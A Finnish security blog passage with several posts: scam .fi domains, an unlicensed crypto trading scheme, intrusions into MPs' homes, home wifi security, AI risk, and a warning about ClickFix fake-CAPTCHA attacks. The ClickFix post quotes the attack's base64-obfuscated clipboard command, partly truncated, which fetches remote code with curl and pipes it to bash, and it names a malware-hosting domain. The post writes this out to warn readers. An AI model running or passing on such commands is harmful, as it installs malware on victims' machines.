Domain-nimillä huijaaminen - pitäisikö välittäjällä olla enemmän vastuuta? Uusia ideoita kaivataan

Huijarit käyttävät fi-loppuisia domain-nimiä, koska ne herättävät suomalaisissa luottamusta. Äskettäin tekstiviestillä lähetettiin "muistutusta" vuosittaisesta hammastarkastuksesta. Jos ajan halusi perua, piti klikata viestissä olevaa osoitetta omaneuvola.fi. 

Huijaus ei ollut kovin onnistunut. Siinä mainittiin vain viikonpäivä (maanantai), ei päivämäärää eikä kellonaikaa. Lisäksi sanoissa oli kaksi kirjoitusvirhettä. Omaneuvola.fi oli varattu pari päivää aikaisemmin suomalaisen Zoner-palvelun kautta. 

Traficomin rekisteriin oli ilmoitettu Neuvolab Oy -nimisen yrityksen oikeat tiedot, kuten Y-tunnus ja kotiosoite (Tampereella), joskin Mäkitie oli kirjoitettu epäilyttävästi Maekitie.

Ilmeisesti ao. yrityksellä ei ole mitään tekemistä huijauksen kanssa. Joku on vain käyttänyt sen nimeä ja etsinyt todelliset yhteystiedot. Mikäli Zonerilla on ylipäätään kukaan katsonut tunnusta, Omaneuvola.fi voisi hyvinkin mennä Neuvolab Oy:n palveluna.

Tästä herää kysymys, pitäisikö verkkotunnusvälittäjän varmistaa ilmoitetut yhteystiedot? Miten domain oli maksettu, laskuttamalla vai tilisiirtona? Ehkä laskutustiedot olivat yhtä lailla virheellisiä, joten Zoner ei tule koskaan saamaan rahojaan. Eipä tunnus vuodeksi juuri mitään maksakaan.

Pitäisikö tunnuksen välittäjän odottaa, kunnes lasku on maksettu ennen tunnuksen avaamista? Kaikki uudet ideat ovat tarpeen, ja niitähän Suomessa onkin viime aikoina ollut kiitettävästi (SMS SenderID, huijauspuheluiden tunnistus, OP:n tilisiirtojen esto jos puhelu on käynnissä, huijausdomainin poisto DNS:stä ym).

Toinen idea: voisiko teleoperaattori lisätä tekstiviestiin varoituksen, jos siinä viitataan alle viikko sitten vain vuodeksi varattuun domain-nimeen? Huijausdomainit toimivat vain muutaman päivän ennen paljastumistaan, ja sen jälkeen kyberturvallisuuskeskus saa ne suljettua. 

Voisiko tuoreet linkit suodattaa kokonaan pois? Domain-varauksia voi lukea API-rajapinnan kautta ja kuka tahansa voi bongata niistä huijauksia. Sata viimeksi varattua näkyy tästä. Domaineja voi tarkastella vaikka postinumeron tai yrityksen Y-tunnuksen mukaan. Neuvolabin tunnuksella ei ole muita varauksia.

FI-domainit Y-tunnuksen mukaan.

Kannattaa muuten tarkistaa ajoittain omankin yrityksesi nimissä rekisteröidyt tunnukset.

Kaupallisissa suodatuspalveluissa domainin ikä on yksi luotettavuuden (reputation) arviointiperuste. Suomi voisi soveltaa ideaa suoraan huijausviesteihin.

Tag Markets lupaa 20 prosentin tuottoa kuukaudessa

Kuulin, että Onecoin-mies Tommi Vuorinen on alkanut markkinoida Suomessa uutta kaupankäyntialustaa nimeltä Tag Markets. One Ecosystem tuntuu hävinneen kokonaan ainakin Suomesta, mutta uusia passiivisen tulon tarjoajia on tyrkyllä useita. Yhteistä niille on ainakin se, ettei yhdelläkään ole toimintaan vaadittavaa lupaa Suomessa. Tag Marketsin kerrotaan hakeneen lupaa Kyproksella, jolloin sen pitäisi kattaa myös Suomen markkinat. Niinköhän?

Tag Markets antaa asiakkaalle automaattisen kaupankäyntialustan, jossa tekoäly treidaa 12- tai 24-kertaisella vivulla. Palveluun voi siirtää rahaa kryptovaluuttoina ja se tuottaa 20 prosenttia kuukaudessa lähes olemattomalla riskillä. Jo tästä voi päätellä, että kyse on huijauksesta. 

Tag Markets korostaa, ettei se ole MLM-verkostomarkkinointikuvio, mutta piirteet viittaavat juuri siihen. Verkkokommenteista näkee, että monella on ollut vaikeuksia saada "voittojaan" ulos palvelusta. Rahaa voi antaa ulos vain niin kauan kuin uusia "sijoittajia" liittyy mukaan. 

Onecoin sai touhuta aikanaan vapaasti eikä kukaan kysellyt lakipykälien perään. Nyt Finanssivalvonta on selvästi aktivoitunut ja listaa sivuillaan useita epäilyttäviä, luvattomia sijoituspalveluita, suomenkielisiä ja yleensä vielä Suomen FI-domainissa. Poimin tähän muutamia valmiina linkkeinä, jotta jokainen voi käydä katsomassa, miten uskottavilta nämä saattavat näyttää. Osaisitko epäillä kaikkia huijaukseksi?

• Rahakone-rahoitus.io
• Otso Laine
• AI Prime Trader
• Rastuxor
• Neste Tulevaisuus
• Luzethxor
• Björn Wahlroos Kuu Arvostus arvostelu - huijaus vai laillinen (Hah!)
• Golvurikenz
• Mining Race
• Evli IA
• LainaSuomi

Sellaisen havainnon voi tehdä, että moni ratsastaa nyt tekoälyn (AI) lupauksilla ja maksutapana suositaan kryptovaluuttoja perinteisten pankkisiirtojen sijaan. Hälytysmerkkejä molemmat. 

Rastuxor.fi - tekoälyä ja kryptosijoituksia

Yllä olevassa kuvassa yksi tyypillinen tapaus: Rastuxor.fi.

Osa on helppo tunnistaa huijaukseksi ja sama tekijä on monistanut palveluita yhdellä leiskalla useammalle nimelle. Nimissä esiintyy suomalaisia finanssitaloja, mikä voi herättää vääränlaista luottamusta. Suomalaisesta FI-tunnuksesta huolimatta viranomaisilla ei näytä olevan keinoja saada sivuja alas, koska oikeudellista näyttöä laittomuudesta ei ole.

Mukana listalla on myös kansainvälinen Mining Race, joka on toiminut näkyvästi Suomessa. 

Onkohan Tag Markets piankin mukana listalla? Luxemburgin viranomaiset ovat jo varoittaneet, 

Lisäys 5.10.2026: Sain lukijapalautteena lisätietoa webinaarista. Mukana on entisen Crowd1-huijauksen väkeä. Suomi24-keskustelun alkua aiheesta sivulla https://keskustelu.suomi24.fi/t/19556742/tagmarket-pontzi-kokemuksia. 

Kuva suomenkielisestä Tag Markets -webinaarista.

Olen näköjään vähätellyt tuottoja, sillä kyse on 1,17 prosentista kuukaudessa. Näin 12-kertaisella vivulla päästään 14 prosentin kuukausituottoihin ja 24-kertaisella tilillä peräti 28 prosenttiin. Tuotoista 75 % jää itselle, 5 % menee takaisin alustalle ja loput 25 % markkinointipalkkioihin (siis uusien uhrien hankkimiseen).

"Palvelua ei ole tarkoitettu EU-alueelle" (ilmeisesti koska toimilupaa ei ole).

Sivulla https://www.tagmarkets.com/ sanotaan selvästi, ettei palvelua ole tarkoitettu EU-alueella asuville. Varoitus sijoituksen menettämisestä on ristiriidassa webinaarin antamien lupausten kanssa.

Kansanedustajien kodeissa avoimet ovet?

Eilen kerrottiin hämmentävä uutinen, että kansanedustajien kodeissa on käyty salaa. Mitään ei ole viety, mutta koteihin on jätetty mahdollisen pelotevaikutuksen vuoksi merkki käynnistä. 

"Poliisi tutkii tunkeutumisia kansanedustajien koteihin."

Saan itsekin soittoja huolestuneilta kansalaisilta, jotka epäilevät puhelimessaan olevan vakoiluohjelma ja että joku käy heidän kotonaan salaa. Tavaroita katoaa tai niitä siirrellään. Todennäköisin selitys on kuitenkin muistisairaus tai alkava mielenterveyshäiriö. 

Toivottavasti kansanedustajien kohdalla kyse ei ole tästä. Silloin asia on vakava, monellakin tavalla. Uutisen mukaan tapauksia on ollut "alle 20", joten määrä on merkittävä eikä enää selity yksittäisen edustajan unohduksella tai pitkäksi venähtäneellä yöllisellä "edustuksella".

Taas kerran voimme vain spekuloida, kun emme tiedä yksityiskohtia. Joten spekuloidaan sitten: mitä hittoa? Miten on mahdollista, että kansanedustajien kodeissa voidaan käydä kenenkään huomaamatta? Ei murtojälkiä, ei ilmeisesti edes havaintoja naapureilta. Eivätkö kansanedustajat osaa pitää huolta turvallisuudestaan? Mitä yhteistä näillä tapauksilla on - asunnon tyyppi, sijainti, edustajan puoluekanta, ikä, sukupuoli...? Uutisissa puhutaan kodeista, mutta onko kyse kuitenkin vain asunnoista?

Näissä tapauksissa kävijä on halunnut jättää tarkoituksella merkin käynnistään. Sehän tarkoittaa, että kodeissa on voitu käydä aiemminkin kenenkään huomaamatta, lukemassa papereita, kopioimassa muistitikkuja, lisäämässä vakoiluohjelmia it-laitteisiin tai asentamassa salakuuntelulaitteita. Pelottavaa.

Oletettavasti kyse on vain edustajien kaupunkiasunnoista, jotka ovat pieniä ja tarkoitettu lähinnä nukkumiseen. Toivottavasti siellä ei säilytetä arkaluonteista turvallisuus- tai ulkopolitiikkaan liittyvää aineistoa. Vanhojen asuntojen lukot ovat tiirikoitavissa ja porraskäytävään voi livahtaa toisen perässä, mutta ettei kukaan toinen asukas huomaisi mitään? Tämä voisi onnistua muutaman kerran, mutta että näin laajassa mitassa? Entä jos kyse olisi häiriköstä tai vakavammasta?

Jos kyse on tavanomaisista kodeista eri puolilla Suomea, kodeissa pitäisi vähintään olla hälytysjärjestelmä, joka vaatii pin-koodin kun ulko-ovi avataan. Alle sadalla eurolla saa valvontakameroita, joilla omakotitalon pihapiirin kulkijoiden kuvat jäävät pilveen tai kameran omalle muistikortille, ja ilmoittavat kuvan kanssa tapahtuneesta puhelimeen.

Onko mahdollista, ettei edustajien turvallisuuskoulutuksessa ole mainittu asiasta? Tietoturvariskeistä on puhuttu paljonkin, mutta ovatko normaalit kulunvalvonta-asiat unohtuneet?

Asia on yleistettävissä kaikkiin etätyöläisiin. Toimistolla kulunvalvonta ja vartiointi tulevat talon puolesta automaattisesti, kotona niistä joutuu huolehtimaan itse. Yrityksen pitäisi varmistaa, että työntekijät huolehtivat asiasta, eivätkä toimi kuten kansanedustajat. 

Ex-supo Saana Nilsson: "Kaikki kummalliset asiat eivät välttämättä liity Venäjään."

Nykyään on tapana nähdä hybridivaikuttamista joka asiassa, mikä jo itsessään on hybridivaikuttamista. Jos tapaukset ovat todellisia, tämä vaikuttaminen on sieltä pahimmasta päästä ja vaatii suuria muutoksia eduskunnan turvakulttuuriin. 

Ylireagointi tai väärinkäsitykset olisivat äärimmäisen nolo selitys, niin edustajien itsensä kuin koko Suomen maineen kannalta.

Kuka liikkuu verkossasi? (kolumni)

It-alalla on yksi laite, joka on jäänyt jälkeen tekniikan kehityksestä. Sen ominaisuudet tai käytettävyys eivät ole juuri muuttuneet vuosien kuluessa. Kuitenkin laite on tietoturvan kannalta kriittinen.

Suojelupoliisi varoittaa joka vuosi niiden riskeistä. Luultavasti sinullakin on sellainen kotonasi.

Kyse on tietenkin wifi-reitittimestä.

Langaton lähiverkko on hieno keksintö. Sen perustekniikka on pysynyt lähes samana 25 vuoden ajan, mutta aiheuttaa yhä hämmennystä.

Mitä eroa on wlanilla ja wifillä? Ei mitään. Windows käyttää yhä vanhaa eurooppalaista wlan-termiä, vaikka amerikkalaisperäinen wifi on levinnyt kaikkialle muualle.

Reititin, tukiasema, purkki… no, joka tapauksessa se laite kytketään laajakaistaan ethernetillä. Jos kaapeli menee väärään reikään, langalliset yhteydet toimivat, mutta sisäverkko näkyy koko maailmalle. Auts.

Jotta jokainen osaisi kytkeä kaapelin oikein, oikeassa reiässä lukee WAN tai siinä näkyy saturnuksen kuva. Miksei voi lukea selkeästi internet? Mitä muita waneja on olemassa kuin internet? 

Nykyisin operaattorien liittymän mukana toimittamat purkit luovat kaksi numeroilla nimettyä verkkoa, joista toisen nimessä on 5G. Sillä ei tietenkään ole mitään tekemistä 5G:n kanssa.

Kerran asennettu wifi-purkki piilotetaan yleensä kaapin päälle tai komeroon. Hallintasalasana unohtuu, koska sitä tarvitaan niin harvoin ja on opetettu, ettei salasanaa saa kirjoittaa mihinkään.

Poissa silmistä, poissa mielestä. Jos Supon varoitus tuokin asian mieleen, unohtunut hallintasalasana estää ylläpidon. Purkki pitäisi resetoida ja asentaa kokonaan uudelleen, jotta siihen pääsisi käsiksi selaimella. Ei jaksa.

Wifi-tekniikka ei selvästikään sovi kotikäyttäjille. Mutta entä it-ammattilaiset? Moni tekee kotona etätöitä, jolloin purkki liittyy suoraan työpaikan verkkoon. Epäilen, että myös ammattilaisten koti-wifit ovat usein retuperällä.

Jotain positiivista on sentään tapahtunut. Operaattori saattaa etäohjata kotien purkkeja ja uudet laitteet päivittävät itsensä ainakin jonkin aikaa. Kun tuki loppuu, loppuvat päivityksetkin.

Päivitys on tärkeää, sillä omassa valokuidussani purkkiin koputetaan kahdeksan sekunnin välein. Haavoittuvuus tai avoimeksi jäänyt portti voi päästää rosvon sisäverkkoon.

Annan kotitehtävän: tarkista, kuka liikkuu kotisi verkossa. Tunnistatko kaikki verkosta löytyvät laitteet?

Tehtävä on yllättävän vaikea, sillä kun hallintanäyttöön vihdoin pääsee, moni laite näkyy epämääräisellä nimellä tai pelkällä mac-osoitteella. Mobiililaitteet vieläpä vaihtavat osoitetta säännöllisesti, jolloin omakin puhelin näyttää vieraalta.

Verkostani löytyi lähes 30 laitetta, joiden selvittämiseen kului koko päivä. Joidenkin tunnistaminen onnistui vain sammuttamalla laite hetkeksi ja katsomalla, mikä nimi hävisi listalta.

Seuraava tehtävä on vaikeampi: seuraa, miten paljon dataa laitteet siirtävät. Itsellä koko verkon määrä oli kesäaikaan 410 gigatavua kuukaudessa. Varsinkin mobiililaitteiden siirtomäärät voivat yllättää. Laitteet lavertelevat dataa läpi yön, vaikka omistaja nukkuu.

Datasiirron seuranta on muutenkin kiinnostavaa. Esimerkiksi digivaakani ”soittaa kotiin” käytöstä riippumatta kaksi kertaa vuorokaudessa, ehkä kysyen päivitystä tai siirtäen mittaustuloksia.

Jos yhden laitteen datankäyttö yhtäkkiä kasvaa, se on ehkä kaapattu ja valjastettu palvelunestohyökkäykseen.

Miten sitten datamääriä voi seurata? Siinäpä se. Reitittimet näyttävät kytketyt laitteet, mutta harvassa on selkeää lokia ja vielä harvemmassa laite- tai ohjelmakohtaista datalaskuria.

Miksei wifi-aseman kyljessä voisi viisari tai edes merkkivaloja, jotka kuvaisivat dataliikenteen määrää? Dataa tulisi seurata kuten sähkön tai veden kulutusta.

Päivitysten loppumisesta voisi kertoa punaisella ”end of life” vilkkuvalolla. Vaikka käyttöliittymät eivät ole juuri kehittyneet, radiotekniikka on. Nopeus, signaalin kantavuus ja parempi salaus ovat hyviä syitä vaihtaa vanha reititin uuteen.

Mielellään ennen kuin on liian myöhäistä.

Julkaistu Tivi-lehdessä 9/2026

Tekoälyn riskejä ei kannata vähätellä (HS 20.9.2026)

Mitä pitäisi ajatella kemiantehtaasta, joka tuo markkinoille uusia tuotteita ymmärtämättä itse, mitä yhdisteitä niissä on käytetty ja miten ne voivat reagoida? Tai tehtaasta, joka ei valvo päästöjään ja saa tiedon ympäristövahingosta vasta ulkopuolisten havaintojen perusteella?

Luultavasti tehtaiden toiminta keskeytettäisiin välittömästi.

Tuoreet uutiset kertovat, että suuret tekoäly-yritykset toimivat juuri näin. Julkisuudessa vaarailmoitukset kuitataan tekosyiksi tai yritysten omiksi markkinointitempauksiksi.

Tekoälyn arvaamattomuus ei ole tullut kenellekään asioita seuraavalle yllätyksenä. Kielimallit ja agentit toimivat tavalla, jota edes valmistaja itse ei pysty täysin ennakoimaan.

Keli on liukas, mutta kukaan ei halua painaa jarrua pelätessään kilpailijan pääsevän maaliin ensimmäisenä. Moni hyötyy tekoäly- ja datakeskushuumasta taloudellisesti ja vähättelee siksi varoituksia.

Isojen yritysten uusimpia tekoälymalleja pyritään rajoittamaan, mutta lähes vastaavia malleja saa muualtakin, eikä niissä ole turhia estoja. Ennen pitkää valtiot ja rikolliset valjastavat tekoälyn tarkoitukselliseen pahantekoon.

Tekoälyä ei pidä aliarvioida. Jo nyt tekoäly pystyy asioihin, joita vielä pari vuotta sitten pidettiin mahdottomina. 

Ei ole syytä olettaa, että kehitys ainakaan itsestään hidastuisi. Kun tekoälyn kyvykkyys kerran ylittää ihmisen, se pystyy kehittämään itseään ja vain kasvattamaan eroa. Ihminen pystyy hallitsemaan koiraansa, mutta koira ei pysty hallitsemaan omistajaansa.

Tekoälyllä ei ole omaa tahtoa eikä tietoisuutta. Siksi eksistentiaalinen uhka ihmiskunnan tuhoutumisesta tekoälyn vuoksi ei vielä ole hälyttävä.

Suurempi ongelma on yhteiskunnan digiriippuvuus. Tahattomasti tai varomattomuuden vuoksi hallinnasta karannut tekoäly voisi sotkea maksamisen, terveydenhuollon tai liikenteen järjestelmiä vaarallisella tavalla. Niissä on jo nykyisellään riittävästi ongelmia.

Ei kannata tuudittautua ajatukseen, että kriittiset tietojärjestelmät ovat suojassa, koska ne eivät ole netissä. Mikään järjestelmä ei ole täysin itsenäinen.

Kysykää vaikka voimaloihin ja vedenpuhdistuslaitoksiin hyökänneiltä hakkereilta. He tekivät sen jo ennen tekoälyä.

Julkaistu Helsingin Sanomien Mielipide-kirjoituksena 20.9.2026

====

Kommentti 27.9.2026:

Varoituksia tekoälyn riskeistä pidetään ylireagointina tai AI-yhtiöiden ovelana markkinointina. Tähän kallistuu myös yleensä niin varovainen ja IT-jätteihin kriittisesti suhtautuva Yle ("Piilaakson pomojen teknologiakultti").

Itse olen aidosti huolissani tekoälyn frontier-mallien riskeistä. Kaiken tapahtuneen kuittaaminen vain "teknologiakulttina" ja turhana pelotteluna on liian helppo selitys. Sekä vähättelijöillä että varoittajilla on iso taloudellinen intressi. Medialta toivoisi asiallista analyysiä kummastakin näkemyksestä.

Lisäys 2.10.2026:

HS 2.10.2026 Lukijan mielipide: Tekoälyn riskeistä on syytä puhua vakavasti

ClickFix huijaa uhrin asentamaan haittaohjelman

Teknisten suojausten parantuessa rosvot pyrkivät huijaamaan uhria asentamaan haittaohjelman tai antamaan pääsyn pankkitililleen. Traficom varoitti vuosi sitten ClickFix-huijauksista, joissa uhria houkutellaan tekemään toimia pääsyn avaamiseksi.

Olemme tottuneet tekemään erilaisia toimenpiteitä osoittaaksemme, että emme ole robotteja. Kun tällainen huijaus ponnahtaa näytölle, reaktio tulee melkein selkäytimestä.

"Verify you are human"

Hiiren klikkaaminen Cloudflaren ikkunassa tuo näytölle varsinaisen huijauksen:

Vaaralliset komennot Terminaaliin.

Tässä vaiheessa sivu on jo lähettänyt vaaralliset komennot selaimen kautta leikepöydälle. Nyt ne pitäisi vain saada ajettua. Siksi ikkuna neuvoo avamaan Terminal-ikkunan (komentorivin) ja painamaan siellä Ctrl+V.

Kun näin tämän ensi kerran, olin juuri säätämässä Clauden ja Google Chromen yhteiskäyttöä. Se on aiemminkin vaatinut Chromen asetusten vaihtamista, ja toimii silti arvaamattomasti. Oli ihan luonnollista, että taas piti tehdä jotain loitsuja asian korjaamiseksi. Lisäksi kone oli Macbook, jossa tunnetusti ei ole haittaohjelmia (eihän?!).

Kehotus avata Terminaali kuitenkin havahdutti: nyt menee liian pitkälle! Vasta vähän myöhemmin tajusin, että tämähän oli haittaohjelma. Liikkeellä on ainakin kaksi erilaista versiota, toinen pyytää todistamaan ettei ole robotti eikä mainitse Cloudflarea, mutta idea on sama.

Mitä leikepöydältä sitten tulee? Merkkipohjainen teksti (keskeltä leikattu pala pois):

bash <<< $(echo "Y3VybCAtcyAnaHR0cH...RhdGUuc2gnIHwgYmFzaA==" | base64 -d)

Eli base64-koodattu käsky, joka purettuna hakee curl -s komennolla varsinaisen haittaohjelman murretulta palvelimelta ja putkittaa sen lopulta bashille suoritettavaksi. Tässä tapauksessa haittaohjelman haku ei kuitenkaan toiminut, eikä .vip-loppuisesta osoitteesta latautunut mitään. 

Toinen variantti lataa suoraan curl -sfL komennolla linkityksen api-logistics.com sivulle, josta varsinainen haittaohjelma haetaan.

Huijaus näyttää olevan käyttöjärjestelmäkohtainen. Kumpikaan näistä ei aktivoitunut mitenkään Windows-koneella tai älypuhelimella. Huijauksesta kuitenkin on raportoitu myös Windows-versiota, jossa ohjeen hannunvaakuna on korvattu Windows-lipulla.

On hyvä muistaa, että kun kyse on social engineering -tekniikoista, Mac-käyttäjät ovat vähintään yhtä alttiita haittaohjelmille. Ehkä jopa enemmänkin, koska kuvittelevat olevansa turvassa. Ja aina pitäisi jaksaa pysähtyä ja pohtia, mitä onkaan tekemässä, vaikka lupaikkunat ja robottien CAPTCHA-tarkastukset menevätkin ärsyttävyydessään selkäytimeen.

iPhonessa uusi suojaustoiminto pankkihuijauksia vastaan, mutta miten se toimii?

Apple julkaisi iOS 27 -version. Siinä on uusi toiminto Identiteetipetosriskien tunnistus (Impersonation Risk Detection), mutta mitähän se tarkoittaa? Kukaan ei tunnu tietävän. Juuri tämä on ärsyttävää: uusia ominaisuuksia tulee koko ajan ilman että tietäisimme, mitä niiden takana on.

Asetus löytyy kohdasta Tietosuoja ja suojaus. Oletusarvona se on pois päältä. 

"Jaa appikehittäjien kanssa"?

Puhelimen oma selitys on minimaalinen: "Sallii appien pyytää Applen identiteettipetosriskin tunnistukseen käytettäviä signaaleja, joiden avulla voidaan havaita, näkyykö laitteessasi tai tilläsi merkkejä aktiivisesta huijauksesta". Siis mitä?

Selitys ei paljon valaise.

Ilmeisesti kyse on rajapinnasta, jota ainakin pankkisovellukset voivat käyttää varoittavien merkkien tunnistamiseen. Esimerkiksi auki oleva puhelu pankkisovelluksen käytön aikana voisi olla tällainen. Sovellus saa tiedon epäilyttävästä tilanteesta ja voi itse päättää, miten reagoi siihen. 

Kiinnostavasti asetuksessa on pakollinen viive. Asetuksen kytkentä päälle tai pois ei aktivoidu heti, vaan 24 tunnin kuluessa. Näin estetään huijaria neuvomasta, miten asetus otetaan pois häiritsemästä hyvää huijausta. Siinä on suomalaisille pankeille mallia!

OP varoittaa rahansiirrosta puhelun aikana. 

Kuulostaa samalta kuin OP:n sovellus, joka näyttää maksun vahvistusnäkymässä varoituksen, mikäli rahaa yritetään siirtää puhelun aikana. Onko Apple matkinut OP:ta vai toisinpäin? Tämä on helppo ymmärtää, mutta mitä ne muut varoitussignaalit voisivat olla?

Joka tapauksessa on kiinnostavaa nähdä, alkavat suomalaiset pankit tukea asetusta omissa pankkiohjelmissaan. Seuraan tilannetta blogissani.